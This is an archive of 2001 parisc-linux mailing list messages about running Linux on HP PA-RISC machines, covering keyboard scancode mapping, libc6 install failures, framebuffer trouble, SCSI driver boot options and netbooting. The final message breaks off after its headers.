X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status report - B132L and 725/100
Date: Wed, 19 Dec 2001 23:30:13 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20011219233013.G1897@linuxcare.com>
References: <1008589643.3c1ddb4b75583@nyepost.start.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620876 31970 80.91.229.3 (22 Nov 2014 01:47:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:56 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Andy Walker <squawker@start.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 19 16:31:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CD8C482A
	for <parisc-linux@parisc-linux.org>; Wed, 19 Dec 2001 16:31:25 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 59307B00C; Wed, 19 Dec 2001 23:30:13 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <1008589643.3c1ddb4b75583@nyepost.start.no>; from squawker@start.no on Mon, Dec 17, 2001 at 12:47:23PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13443

On Mon, Dec 17, 2001 at 12:47:23PM +0100, Andy Walker wrote:
> Here's the dmesg from the 725/100. The unknown scancode, 7f, is
> less-than/greater-than on a Norwegian PS/2 keyboard. I imagine that
> can be fixed :-)

I have a UK keyboard here with 7f generated by the bar+backslash key.
Turns out that to make it works I have to use dumpkeys to discover
that the keycode I want is 86 (decimal), and then running
"setkeycodes 7f 86" makes the key work.  And yes, that is a hex 7f
with no '0x' followed by a decimal 86!

Before this will work with a PS/2 keyboard, you need a new kernel,
2.4.16-pa21 or better, as there was a bug in the set/getkeycode code.

Richard




From - Thu Nov 08 21:20:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LibC errors on C180 install
Date: Wed, 19 Dec 2001 17:38:56 -0900 (AKST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112191720550.1930-100000@goliath.alaskatech.org>
References: <20011219200133.8E40A482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620876 31971 80.91.229.3 (22 Nov 2014 01:47:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:56 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 19 19:41:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63CE0482A
	for <parisc-linux@parisc-linux.org>; Wed, 19 Dec 2001 19:41:14 -0700 (MST)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GOMFGO02.PJM for
          <parisc-linux@parisc-linux.org>; Wed, 19 Dec 2001 17:41:12 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GOMFGP01.P67; Wed, 19 Dec 2001 17:41:13 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA02024;
	Wed, 19 Dec 2001 17:38:56 -0900
In-Reply-To: <20011219200133.8E40A482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13444

> Tom wrote:
> > I had a segfault in the base-config, which bombed the rest of the install.

> Grant:
> "debsums -s" will tell you which packages got corrupted during install.
> Sounds like you could mount the CD and "dpkg -i" the base packages again.
> Then run apt-get update/dist-upgrade.

debsums came back with an all-OK, I could install anything unless it
needed a libc6 update, in which case it failed.

Since this was a brand-new install, I used the prior palo options to
disable everything 'good' on the FWSCSI, then reinstalled. Everything so
far has worked perfectly...

I guess this was just "gremlins" :-)




From - Thu Nov 08 21:20:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LibC errors on C180 install
Date: Thu, 20 Dec 2001 10:17:52 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20011220081752.GA29993@marmite.its.uct.ac.za>
References: <Pine.LNX.4.33.0112191033240.1400-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620876 31977 80.91.229.3 (22 Nov 2014 01:47:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:56 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 20 01:18:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id C81BF482A
	for <parisc-linux@parisc-linux.org>; Thu, 20 Dec 2001 01:18:16 -0700 (MST)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with esmtp (Exim 3.33 #4)
	id 16GyQy-0008Wb-00
	for parisc-linux@parisc-linux.org; Thu, 20 Dec 2001 10:20:08 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id B2D651A350; Thu, 20 Dec 2001 10:17:52 +0200 (SAST)
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	PA-RISC Linux List <parisc-linux@parisc-linux.org>
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0112191033240.1400-100000@goliath.alaskatech.org>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13445

On Wed, Dec 19, 2001 at 10:51:41AM -0900, Tom wrote:
> Interesting - C180, 4G FWSCSI.5, Plextor CD SESCSI.5, 0.93
> ISO. On install I had a segfault in the base-config, which
> bombed the rest of the install.  Manually added FTP, pulled
> the latest kernel, reboot and now I can get APT etc to run,
> but every time it tries to update libc6 I get an error -
> "unable to stat './usr/lib/gconv/CP1251.so' (which I was about
> to install): Value too large for defined data type", then
> libc6 fails to install.

Might be fs corruption.  I got a similar error on a corrupted
filesystem:

(Reading database ... 6812 files and directories currently installed.)
Preparing to replace libc6 2.2.4-3 (using .../libc6_2.2.4-7_hppa.deb) ...
Unpacking replacement libc6 ...
dpkg: error processing /var/cache/apt/archives/libc6_2.2.4-7_hppa.deb (--unpack):
 unable to stat `./usr/share/zoneinfo/Australia/Lindeman' (which I was about to install): Input/output error
dpkg-deb: subprocess paste killed by signal (Broken pipe)
Errors were encountered while processing:
 /var/cache/apt/archives/libc6_2.2.4-7_hppa.deb
E: Sub-process /usr/bin/dpkg returned an error code (1)

And:

# ls -l /usr/share/zoneinfo/Australia/Lindeman 
ls: /usr/share/zoneinfo/Australia/Lindeman: Input/output error

After forcing an fsck on the relevant filesystem, it worked much
better :)

-- 
Michael Wood <mwood@its.uct.ac.za>



From - Thu Nov 08 21:20:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem with 2.4.16-pa20 fb and  Xfree86
Date: Thu, 20 Dec 2001 10:41:28 +0100 (CET)
Lines: 21
Approved: news@gmane.org
Message-ID: <1008841288.3c21b2487cc61@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620877 31979 80.91.229.3 (22 Nov 2014 01:47:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 20 02:41:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E17C482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Dec 2001 02:41:35 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16Gzhg-0008Uq-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Dec 2001 10:41:28 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13446

Hi all,

Is some one else met the same problem:
I boot with kernel 2.4.9-32 (Debian pool) and use Xfce and all works kindly.
I cvs update the kernel 2.4.16-pa20 recompile it, install it, reboot it and
launch Xfce which start well excepted that all is black but the border of a
xterm (in which caracters are fortunately white); when I click in the background
I have well access to the menu?

Is something is broken in fb in 2.4.16? (sorry I do not have enought time to
test X after each cvs update to notice exactely when this problem appears)

Thanks in advance for all advises,
        Joel

PS: I use a b180L on which I do an apt-get dist-upgrade yesterday (Dec 19, 2001).

-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <squawker@start.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status report - B132L and 725/100
Date: Thu, 20 Dec 2001 11:06:09 +0100 (CET)
Lines: 67
Approved: news@gmane.org
Message-ID: <1008842769.3c21b81172e7c@nyepost.start.no>
References: <1008589643.3c1ddb4b75583@nyepost.start.no> <1008594958.3c1df00ed9750@nyepost.start.no> <20011219113621.X1897@linuxcare.com> <1008771313.3c20a0f14484a@nyepost.start.no> <20011219165635.3E405482A@dsl2.external.hp.com> <001b01c188cb$cb1eda60$0201a8c0@andy> <squawker@start.no> <20011219204048.2140B482A@dsl2.external.hp.com> <20011219210329.E1897@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620877 31987 80.91.229.3 (22 Nov 2014 01:47:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:57 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	Andy Walker <squawker@start.no>, parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 20 03:16:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA6C3482A
	for <parisc-linux@parisc-linux.org>; Thu, 20 Dec 2001 03:16:14 -0700 (MST)
Original-Received: from nyepost.start.no (nyepost.start.no [195.159.1.214])
	by smtp1.powertech.no (Postfix) with ESMTP
	id 28C4A869D; Thu, 20 Dec 2001 11:16:13 +0100 (CET)
Original-Received: (from apache@localhost)
	by nyepost.start.no (8.11.6/8.11.2) id fBKA69619839;
	Thu, 20 Dec 2001 11:06:09 +0100
In-Reply-To: <20011219210329.E1897@linuxcare.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.6
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13447

Quoting Richard Hirst <rhirst@linuxcare.com>:

> On Wed, Dec 19, 2001 at 01:40:48PM -0700, Grant Grundler wrote:
> > "Andy Walker" wrote:
> > > by the 53c8xx driver, it says differential on the external connector
> -
> > > there can't be any doubt, can there? This should all work
> together.
> > 
> > It sounds like it should all just work. Especially if HPUX works.
> > But HPUX sometimes cripples the bus speed or *wideth* based
> > on what PDC tells it. Perhaps you need to do the same. I really
> > don't expect any issues with bus speed on differential SCSIs.
> > Possibly a wide vs narrow bus issue (Chip thinks it's wide and the
> cabling
> > is narrow). We see that on C3k still and I started (but didn't
> finish)
> > the code to query PDC about Host SCSI ID, bus speed, and width.
> > 
> > > Anyway, I'll take an known good disk with me tomorrow and try that
> with
> > > a different internal cable. I'll also double check that everything
> is
> > > still working with HP-UX. More news as it breaks.........
> > 
> > Yeah - if HPUX boots/talks to the devices, they are basically ok.
> > It's a matter of getting the linux driver the right parameters then.
> 
> >From drivers/scsi/README.ncr53c8xx, you can force narrow by booting
> with
> 
> ncr53c8xx=wide:0
> 
> and disable tagged commands with
> 
> ncr53c8xx=wide:0,tags:0
> 
> and force async with
> 
> ncr53c8xx=wide:0,tags:0,sync:255
> 
> and disable dma burst with
> 
> ncr53c8xx=wide:0,tags:0,sync:255,busrt:0
> 
> and disable disconnect with
> 
> ncr53c8xx=wide:0,tags:0,sync:255,burst:0,disc:n
> 
> 
> Richard

Absolutely no luck at all :-( Different disk, different cable - same
results. Tried Richard's parameter settings - nothing helps. Tried
ncr53c8xx=safe:y, still no joy.

But if I hang an HPUX bootdisk on the card, I can boot happily from
it. Bah!

Do we know of anybody who has one of these cards working?

-Andy

------------------------------------------------------------
F din egen @start.no-adresse gratis p http://www.start.no/



From - Thu Nov 08 21:20:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status report - B132L and 725/100
Date: Thu, 20 Dec 2001 11:15:38 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20011220111538.H1897@linuxcare.com>
References: <1008589643.3c1ddb4b75583@nyepost.start.no> <1008594958.3c1df00ed9750@nyepost.start.no> <20011219113621.X1897@linuxcare.com> <1008771313.3c20a0f14484a@nyepost.start.no> <20011219165635.3E405482A@dsl2.external.hp.com> <001b01c188cb$cb1eda60$0201a8c0@andy> <squawker@start.no> <20011219204048.2140B482A@dsl2.external.hp.com> <20011219210329.E1897@linuxcare.com> <1008842769.3c21b81172e7c@nyepost.start.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620877 31993 80.91.229.3 (22 Nov 2014 01:47:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:57 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@parisc-linux.org
To: Andy Walker <squawker@start.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 20 04:16:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0421482A
	for <parisc-linux@parisc-linux.org>; Thu, 20 Dec 2001 04:16:53 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 78172B00C; Thu, 20 Dec 2001 11:15:38 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <1008842769.3c21b81172e7c@nyepost.start.no>; from squawker@start.no on Thu, Dec 20, 2001 at 11:06:09AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13448

On Thu, Dec 20, 2001 at 11:06:09AM +0100, Andy Walker wrote:
> Do we know of anybody who has one of these cards working?

bluefish cards are working on some machines - B180, Cxxx, for example,
but I'm not aware of anyone running one in a 725/100.  The linux driver requires
coherent memory to work (typically non-cached), and that feature isn't
provided across all PARISC CPU flavours.  In theory your 725/100 supports that
and so should work.  fwiw, the CPU in 735 doesn't support coherent memory, which
is why my attempt to add support for 53c720 on 735 (outfield) failed.

Richard




From - Thu Nov 08 21:20:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Network bootproblem with 712/80
Date: Thu, 20 Dec 2001 15:15:54 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20011220151554.L1897@linuxcare.com>
References: <1008318270.3c19b73ecfadb@nyepost.start.no> <000b01c184a9$3f00a1b0$7862bc82@ele.vtt.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620878 32000 80.91.229.3 (22 Nov 2014 01:47:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:58 +0000 (UTC)
Cc: parisc <parisc-linux@parisc-linux.org>
To: Tommi Aihkisalo <tommi.aihkisalo@vtt.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 20 08:17:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id C95DC482A
	for <parisc-linux@parisc-linux.org>; Thu, 20 Dec 2001 08:17:10 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id EDABDB00C; Thu, 20 Dec 2001 15:15:54 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <000b01c184a9$3f00a1b0$7862bc82@ele.vtt.fi>; from tommi.aihkisalo@vtt.fi on Fri, Dec 14, 2001 at 04:11:37PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13449

On Fri, Dec 14, 2001 at 04:11:37PM +0200, Tommi Aihkisalo wrote:
> Hello all!
> 
> I am having a problem with my 712/80 when booting with bootp/tftp. With some
> effort I got it requesting kernel image (lifimage) over the network. The
> download starts but almost the same time it ends and it retries it over and
> over again. With Weird-solution's bootp and tftp server I can see that the
> download starts many times but all of them results error. When using the
> RedHat's bootp/tftp, the tcpdump shows (what I have understood from the
> output) that the HP is querying a file of name '.' (dot), this is quite
> strange...
> 
> Have I understood correctly that the lifimage (from the 0.9.3 installation
> cd) is the correct kernel image?

Sorry for the slow response.  I just tried netbooting a 712 using the
lifimage on the 0.9.3 ISO (dists/woody/main/disks-hppa/current/lifimage),
and it booted fine.  The palo command line does say 0/linux, while the
lifimage contains linux32 and linux64 (or similar), but that is not a
problem - palo figures out that it is on a 32 bit box and selects the
32 bit kernel correctly.  I was using a Mandrake box as bootp/tftp server.

Richard




From - Thu Nov 08 21:20:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Status Documentation for Server of E-Series and similar ...
Date: Thu, 20 Dec 2001 18:19:57 +0100
Organization: private
Lines: 24
Approved: news@gmane.org
Message-ID: <3C221DBD.ECC87E3E@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620878 32005 80.91.229.3 (22 Nov 2014 01:47:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:58 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: "MEYER,ALAN C. (HP-FtCollins,ex1)" <alan_meyer@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 20 10:20:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep11-int.chello.at (viefep11-int.chello.at [213.46.255.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D2FF482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Dec 2001 10:20:06 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep11-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011220171958.EQEV1234.viefep11-int.chello.at@gmx.at>;
          Thu, 20 Dec 2001 18:19:58 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13450

Hello Mr, Meyer,

what is the status of the document releasing of the E-Series and
other machines (for example E55, 9000/856).

I added a device driver to the kernel to use the ROM PDC console
as Linux console device, so there are many kernel developers, who
can start device driver development on those machines (for example
my E55 server can boot Linux diskless ...).

So I think there is massive interests on driver development on those
machines, and I hope you can help here.

With friendly regards
Christoph P.


-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:20:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] StiFB-Problems
Date: Thu, 20 Dec 2001 18:08:40 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20011220180840.M1897@linuxcare.com>
References: <3C1D0565.3000805@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620878 32010 80.91.229.3 (22 Nov 2014 01:47:58 GMT)
